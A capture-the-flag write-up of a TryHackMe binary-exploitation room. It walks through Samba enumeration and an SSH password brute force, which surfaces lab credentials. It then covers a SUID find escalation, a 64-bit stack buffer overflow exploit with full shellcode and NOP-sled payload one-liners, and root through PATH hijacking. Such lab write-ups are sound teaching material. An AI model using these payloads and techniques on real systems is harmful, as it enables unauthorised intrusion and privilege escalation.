After starting the target box and adding its IP to /etc/hosts as binex.thm we start with a basic TCP Syn scan over all ports. We find 3 open ports:
Using nmap with -sV for version detection we can confirm what applications run on these ports. Namely an OpenSSH server (v7.6p1) and Samba.
nmap -Pn -sS -sV binex.thm -p22,139,445
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: THM_EXPLOIT; OS: Linux; CPE: cpe:/o:linux:linux_kernel
As there don't seem to be any other services active we can start with some default enumeration for the two services we found. If this yields nothing we could still scan for open UDP ports.
Service Enumeration
Unfortuantely, trying default credentials like root:root fails with SSH so we go straight to enumerating Samba. Though we could try various nmap scripts for enumeration and scanning, we are going to use a separate tool for this.
With enum4linux-ng we are able to find 2 (default system-) shares and 4 valid users.
enum4linux-ng -As -R binex.thm
ENUM4LINUX - next generation
==========================
| Target Information |
==========================
[*] Target ........... binex.thm
[*] Username ......... ''
[*] Random Username .. 'cvtdgwtp'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
[*] RID Range(s) ..... 500-550,1000-1050
[*] Known Usernames .. 'administrator,guest,krbtgt,domain admins,root,bin,none'
=================================
| Service Scan on binex.thm |
=================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
======================================
| SMB Dialect Check on binex.thm |
======================================
[*] Check for legacy SMBv1 on 445/tcp
[+] Server supports dialects higher SMBv1
======================================
| RPC Session Check on binex.thm |
======================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user session
[+] Server allows session using username 'cvtdgwtp', password ''
[H] Rerunning enumeration with user 'cvtdgwtp' might give more results
================================================
| Domain Information via RPC for binex.thm |
================================================
[+] Domain: WORKGROUP
[+] SID: NULL SID
[+] Host is part of a workgroup (not a domain)
===========================================
| OS Information via RPC on binex.thm |
===========================================
[+] The following OS information were found:
server_type_string = Wk Sv PrQ Unx NT SNT THM_exploit server (Samba, Ubuntu)
platform_id = 500
os_version = 6.1
server_type = 0x809a03
os = Linux/Unix
==================================
| Users via RPC on binex.thm |
==================================
[*] Enumerating users via 'querydispinfo'
[+] Found 0 users via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 0 users via 'enumdomusers'
===================================
| Groups via RPC on binex.thm |
===================================
[*] Enumerating local groups
[+] Found 0 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 0 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 0 group(s) via 'enumdomgroups'
===================================
| Shares via RPC on binex.thm |
===================================
[*] Enumerating shares
[+] Found 2 share(s):
IPC$:
comment: IPC Service (THM_exploit server (Samba, Ubuntu))
type: IPC
print$:
comment: Printer Drivers
type: Disk
[*] Testing share IPC$
[-] Could not check share: STATUS_OBJECT_NAME_NOT_FOUND
[*] Testing share print$
[+] Mapping: DENIED, Listing: N/A
======================================
| Policies via RPC for binex.thm |
======================================
[*] Trying port 445/tcp
[+] Found policy:
domain_password_information:
pw_history_length: None
min_pw_length: 5
min_pw_age: none
max_pw_age: 49710 days 6 hours 21 minutes
pw_properties:
- DOMAIN_PASSWORD_COMPLEX: false
- DOMAIN_PASSWORD_NO_ANON_CHANGE: false
- DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
- DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
- DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
- DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
domain_lockout_information:
lockout_observation_window: 30 minutes
lockout_duration: 30 minutes
lockout_threshold: None
domain_logoff_information:
force_logoff_time: 49710 days 6 hours 21 minutes
======================================
| Printers via RPC for binex.thm |
======================================
[+] No printers returned (this is not an error)
===============================================================
| Users, Groups and Machines on binex.thm via RID Cycling |
===============================================================
[*] Trying to enumerate SIDs
[+] Found 3 SID(s)
[*] Trying SID S-1-22-1
[+] Found user 'Unix User\kel' (RID 1000)
[+] Found user 'Unix User\des' (RID 1001)
[+] Found user 'Unix User\tryhackme' (RID 1002)
[+] Found user 'Unix User\noentry' (RID 1003)
[*] Trying SID S-1-5-21-2007993849-1719925537-2372789573
[+] Found user 'THM_EXPLOIT\nobody' (RID 501)
[+] Found domain group 'THM_EXPLOIT\None' (RID 513)
[*] Trying SID S-1-5-32
[+] Found builtin group 'BUILTIN\Administrators' (RID 544)
[+] Found builtin group 'BUILTIN\Users' (RID 545)
[+] Found builtin group 'BUILTIN\Guests' (RID 546)
[+] Found builtin group 'BUILTIN\Power Users' (RID 547)
[+] Found builtin group 'BUILTIN\Account Operators' (RID 548)
[+] Found builtin group 'BUILTIN\Server Operators' (RID 549)
[+] Found builtin group 'BUILTIN\Print Operators' (RID 550)
[+] Found 5 user(s), 8 group(s), 0 machine(s) in total
Valid usernames: tryhackme, kel, des and noentry
Using the answer format of the first question we can assume that tryhackme is the user we are looking for for our initial access.
We know that this room is supposed to focus on binary exploitation so the initial access phase isn't supposed to be very difficult. Hence, we can move on to find a valid password for the user.
Initial Access
At this point we don't have any other available information except a valid username. After trying some default passwords like letmein manually we start hydra to brute force the password of the tryhackme user on the SSH server.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://binex.thm:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://tryhackme@10.10.61.51:22
[INFO] Successful, password authentication is supported by ssh://10.10.61.51:22
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344355 to do in 5433:29h, 4 active
[STATUS] 32.00 tries/min, 96 tries in 00:03h, 14344303 to do in 7470:60h, 4 active
[STATUS] 29.14 tries/min, 204 tries in 00:07h, 14344195 to do in 8203:23h, 4 active
[STATUS] 28.27 tries/min, 424 tries in 00:15h, 14343975 to do in 8457:32h, 4 active
[22][ssh] host: binex.thm login: tryhackme password: thebest
[STATUS] attack finished for binex.thm (valid pair found)
1 of 1 target successfully completed, 1 valid password found
After approximately 15 minutes of brute forcing we finally get a hit!
Valid credentials: tryhackme:thebest
Logging in with the found credentials we can now start looking for a way to gain root.
Privilege Escalation
User: tryhackme
The subtle task title "SUID :: Binary 1" suggests that we are looking for SUID binaries to exploit. However, even if we weren't given this hint - a quick manual enumeration shows: we don't have elevated privileges yet, there is no obvious cronjob placed, the permissions for important files are set to default and there don't seem to be any interesting files lying around in /tmp . We do find an outdated sudo version though (-> Baron Samedit) but let's stick to the intended way.
To look for SUID binaries we could either use a quick find / -perm /4000 2>/dev/null, an automated checker like SUID3NUM or the little more verbose variant of the first command:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 34816 Feb 27 2019 /sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 34816 Feb 27 2019 /sbin/pam_extrausers_chkpwd
-rwsr-xr-x 1 root root 40152 Oct 10 2019 /snap/core/8268/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/8268/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/8268/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/8268/bin/su
-rwsr-xr-x 1 root root 27608 Oct 10 2019 /snap/core/8268/bin/umount
-rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /snap/core/8268/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /snap/core/8268/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 Mar 25 2019 /snap/core/8268/usr/bin/chage
-rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/8268/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/8268/usr/bin/chsh
-rwxr-sr-x 1 root systemd-network 36080 Apr 5 2016 /snap/core/8268/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec 7 2013 /snap/core/8268/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 Mar 25 2019 /snap/core/8268/usr/bin/expiry
-rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/8268/usr/bin/gpasswd
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/8268/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/8268/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/8268/usr/bin/mail-unlock
-rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/8268/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/8268/usr/bin/passwd
-rwxr-sr-x 1 root crontab 358624 Mar 4 2019 /snap/core/8268/usr/bin/ssh-agent
-rwsr-xr-x 1 root root 136808 Oct 11 2019 /snap/core/8268/usr/bin/sudo
-rwxr-sr-x 1 root tty 27368 Oct 10 2019 /snap/core/8268/usr/bin/wall
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 2019 /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/8268/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 106696 Dec 6 2019 /snap/core/8268/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/8268/usr/sbin/pppd
-rwsr-xr-x 1 root root 40152 May 15 2019 /snap/core/7270/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/7270/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/7270/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/7270/bin/su
-rwsr-xr-x 1 root root 27608 May 15 2019 /snap/core/7270/bin/umount
-rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /snap/core/7270/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /snap/core/7270/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 Mar 25 2019 /snap/core/7270/usr/bin/chage
-rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/7270/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/7270/usr/bin/chsh
-rwxr-sr-x 1 root systemd-network 36080 Apr 5 2016 /snap/core/7270/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec 7 2013 /snap/core/7270/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 Mar 25 2019 /snap/core/7270/usr/bin/expiry
-rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/7270/usr/bin/gpasswd
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/7270/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/7270/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/7270/usr/bin/mail-unlock
-rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/7270/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/7270/usr/bin/passwd
-rwxr-sr-x 1 root crontab 358624 Mar 4 2019 /snap/core/7270/usr/bin/ssh-agent
-rwsr-xr-x 1 root root 136808 Jun 10 2019 /snap/core/7270/usr/bin/sudo
-rwxr-sr-x 1 root tty 27368 May 15 2019 /snap/core/7270/usr/bin/wall
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10 2019 /snap/core/7270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar 4 2019 /snap/core/7270/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 102600 Jun 21 2019 /snap/core/7270/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/7270/usr/sbin/pppd
-rwsr-xr-x 1 kel kel 8600 Jan 17 2020 /home/des/bof
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwxr-sr-x 1 root utmp 10232 Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 105336 Jun 5 2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwxr-sr-x 1 root mlocate 43088 Mar 1 2018 /usr/bin/mlocate
-rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
-rwxr-sr-x 1 root crontab 39352 Nov 16 2017 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 71816 Mar 22 2019 /usr/bin/chage
-rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newgidmap
-rwxr-sr-x 1 root tty 14328 Jan 17 2018 /usr/bin/bsd-write
-rwsr-xr-x 1 root root 149080 Oct 10 2019 /usr/bin/sudo
-rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
-rwxr-sr-x 1 root tty 30800 Oct 15 2018 /usr/bin/wall
-rwsr-sr-x 1 des des 238080 Nov 5 2017 /usr/bin/find
-rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
-rwxr-sr-x 1 root ssh 362640 Mar 4 2019 /usr/bin/ssh-agent
-rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
-rwxr-sr-x 1 root shadow 22808 Mar 22 2019 /usr/bin/expiry
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
-rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
Reading the output, two binaries stand out from the rest:
-rwsr-xr-x 1 kel kel 8600 Jan 17 2020 /home/des/bof : This binary resides in des home directory which we can't access as tryhackme.
-rwsr-sr-x 1 des des 238080 Nov 5 2017 /usr/bin/find : This is unusual as find is owned by the user des and usually doesn't come with the SUID bit set.
Using GTFOBins entry on findwe can spawn a shell with the euid of the user des and read the first flag.
Together with the first flag we are also given the credentials for the user des so we can switch to a stable SSH session for further privilege escalation.
Valid credentials: des:destructive_72656275696c64
User: des
Now that we are des we have access to that SUID binary we found earlier: bof . This program is owned by the user kel so exploiting it should give us access to yet another user on our way to root.
Being curious, we simply run the executable to see what happens. After being prompted Enter some string and keeping the executable name in mind it seems obvious that we'll have to exploit a buffer overflow. We confirm this by testing the input with a large string. As expected, the application crashes.
Since we are also provided the source code of the application, let's have a look at that before diving into exploitation. (In the second tab I've added some comments to explain the code a little bit.)
/* bof64.c */#include<stdio.h>#include<unistd.h>intfoo(){char buffer[600]; // allocate 600 bytes on the stack for "buffer"int characters_read; // allocate 8 bytes for one int (x64)printf("Enter some string:\n");// This is bad. read() will copy up to 1000 bytes from // 0 (stdin) to the buffer which is only 600 bytes.// Since read() doesn't perform a check on the target buffer// size, we can overflow the variable "buffer" on the stack. characters_read =read(0, buffer,1000);// After overflowing, the application will not immediately crash.// The variable "characters_read" will be updated on the stack// with the amount of read characters.// Then, the buffer is printed to stdout (without flushing though,// so it won't make it to the screen in case of an error).printf("You entered: %s", buffer);// Returning from this function will pop the RIP and continue// execution from there. If we managed to overwrite RIP, we have// a chance of executing our own code.return0;}voidmain(){// Set the UID and GUID to kelsetresuid(geteuid(), geteuid(), geteuid());setresgid(getegid(), getegid(), getegid());foo(); // Call the function foo()}
Basically, putting in a string longer than 600 characters (such as 1000 "A"s) will cause the program to overwrite whatever is on the stack above the buffer variable.
I'm looking forward to do a more detailed writeup on the basic buffer overflow and how it works - so let's focus on just exploiting this binary for now.
One more thing to check for before crafting an exploit is, whether ASLR is activated. We can do this with cat /proc/sys/kernel/randomize_va_space. Since the result shows 0 (disabled) we can safely assume that the binary will always land in the same address space with each execution. This makes it easier for us because we can use hardcoded addresses in our exploit.
Developing an Exploit for a Buffer Overflow
Fortunately, the target comes with gdb preinstalled. Otherwise we could've brought our own tools or analysed the binary at home. For the next steps, it's easiest to have two SSH sessions - one for gdb and one for experimenting / crafting the input.
Finding the Offset of the RIP
First we need to find out at what size of the input the application starts to crash. We already know that it must be larger than 600 bytes. Taking into account the 8 bytes for the integer and 8 bytes for the RBP, we should, in theory, need at max 616 bytes to start overwriting the RIP. But let's assume we didn't know the source code and crash the application with 1000 "A"s to see what happens.
We've successfully overwritten the RBP (and a bunch of other things on the stack) with "A"s. Looking at the saved return value of the RIP for the current frame (with info frame), we can also confirm that we overwrote the return address:
Note that the RIP still points to the return statement of foo (0x55...484e). While trying to load the RIP from the saved value on the stack, the 8 "A"s already generated an exception during the instruction fetch causing the program to crash without gdb seeing the actual update of the RIP value. That's simply due to the fact that on current 64 bit systems the maximum virtual address is 0x7FFFFFFFFFFF (source). So any address above that can't be handled by the CPU. We will see the RIP being loaded correctly once we use valid addresses in the next steps.
Now, to find the actual offset of the RIP or RBP (since they are both right next to each other we only need to find out one), we will use a cyclic pattern as input and check what value ends up in the RBP. Due to the input being a cyclic pattern we can then calculate the exact amount of bytes needed to hit the RBP and RIP.
Here we use cyclic (part of pwntools that does the same as pattern_create.rb and pattern_offset.rb from metasploit_framework ) to create and detect a pattern:
Create a cyclic pattern with length 700
Save the pattern to an input file
Run the application in gdb with the crafted input
Read the value from RBP - How to read this value depends on the endianess which we can check with show endian in gdb. In this case (and most commonly) it's little endian, which means that values are stored LSB first. Hence, when we translate the HEX address to ASCII we get:
0x6761616467616163 -> ASCII -> gaadgaac -> LSB first -> caagdaag
Since the address is 8 byte long, but the cyclic tool works with 4 byte patterns, we only need to search for the pattern caag. This gives us an offsett of 608 bytes.
So now we know that exactly after 608 bytes we start overwriting the RBP that's stored on the stack. And once we've overwritten these 8 bytes we start overwriting the 8 bytes of the stored RIP. Thus, we know that we must pad our custom return address with 616 (608 + 8 for RBP) bytes.
Note that the 608 bytes correspond exactly to the size of the buffer + the size of the integer which means the stack layout looks something like this (addresses from high to low): RIP -> RBP -> characters_read -> buffer[600].
Finding a Return Address
Now that we know how to control the RIP (608*"A" + 8*"B" + return_address) we must find a suitable address to insert. Our end goal is to execute custom code; we know that we can write at least 600 bytes on the stack and we also know that ASLR is disabled. Hence, we are going to try the following:
So we are going to point the RIP to an address on the stack with our crafted payload. Let's inspect the stack once we crashed the application with the following input:
The left column displays the virtual address on the stack, so we can read that the first byte of our input ("B" for visibility) is placed at the address 0x7fffffffe230 (keep in mind it's little endian).
Saw that 0x00000271 on the stack? Converted to decimal that's 625. This is the return value of the read function that indicates how many bytes were read from stdin. We printed 624 bytes and the python print statement added a \n to complete the input for a total of 625 bytes. Note that, although 8 bytes were reserved for the integer, only 4 bytes were actually used by the responsible assembler instruction.
This is important to keep in mind because it overwrites what we put on the stack, so we shouldn't place our shellcode on this address. (This still leaves us with 600 bytes for our shellcode.)
Having an address to jump to, we can now create the shellcode (assembler instructions that will spawn a shell for us).
Creating the Final Payload
For the shellcode we can either use the one provided in the room or we create our own, for example with msfvenom or shellcraft (pwntools):
shellcraft amd64.linux.execve "/bin///sh" "['sh', '-p']" -f s
We can quickly check the length of the string in python with len("<shellcode>") which in this case returns 68. Theoretically, we could now build a payload like this:
# The return address is now 0x7FFFFFFFE230 and will point right to# the start of our input, i.e. at the shellcode. The "A"s are for padding.<shellcode>+ "A"*(616-<len(shellcode)>) +"\x30\xe2\xff\xff\xff\x7f\x00\x00"# Let's put that in a oneliner to create our inputpython -c 'print("jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8ri\x01,q\x01\x01\x01H1\x04\x241\xf6Vj\x0b^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"+ "A"*(616-68) +"\x30\xe2\xff\xff\xff\x7f\x00\x00")' > input
If we run this in gdb we can see that it works, but we can't interact with the spawned shell from within gdb.
However, if we were to use the same input directly on the binary it would fail with a segmentation fault, simply because running the application outside of the gdb context means a slightly different address space. So the hardcoded address pointing to the first byte of our buffer is slightly off.
We can account for that by using a NOP sled though. Instead of pointing to the first byte, we will choose an address that's predictably somewhere inside our buffer. By filling the space around this address with \x90 (NOP instruction) it doesn't matter if the RIP lands a bit before or after the target address as it will slide along the NOPs until it hits the shellcode.
Since the buffer is pretty large, we can prepend the shellcode with 200 NOPs. Using the start address of the buffer + 128 bytes (0x7fffffffe2a0) should give us enough margin to both sides.
# Final payload: 200 NOPs + shellcode + (padding to a total offset of 616) + RIPpython -c 'print("\x90"*200 + "jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8ri\x01,q\x01\x01\x01H1\x04\x241\xf6Vj\x0b^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"+ "A"*(416-68) +"\xa0\xe2\xff\xff\xff\x7f\x00\x00")' > input
Finally, using the generated input - we get an interactive shell and kels flag.
In order to keep the spawned shell open, add a cat without arguments (waits for input on stdin).
On to the final privilege escalation, we find another SUID binary "exe" and its source code in kels home directory. This one is owned by root so we should be done soon.
The source code immediately reveals the vulnerability:
The program calls ps without specifying the entire path. By creating a custom binary called ps and making sure that this one will be found before the original, we can execute code as root. All that's left to do is to create an executable that spawns a shell for example, rename it to ps, place it in the current directory, add the current directory to the PATH variable and execute exe .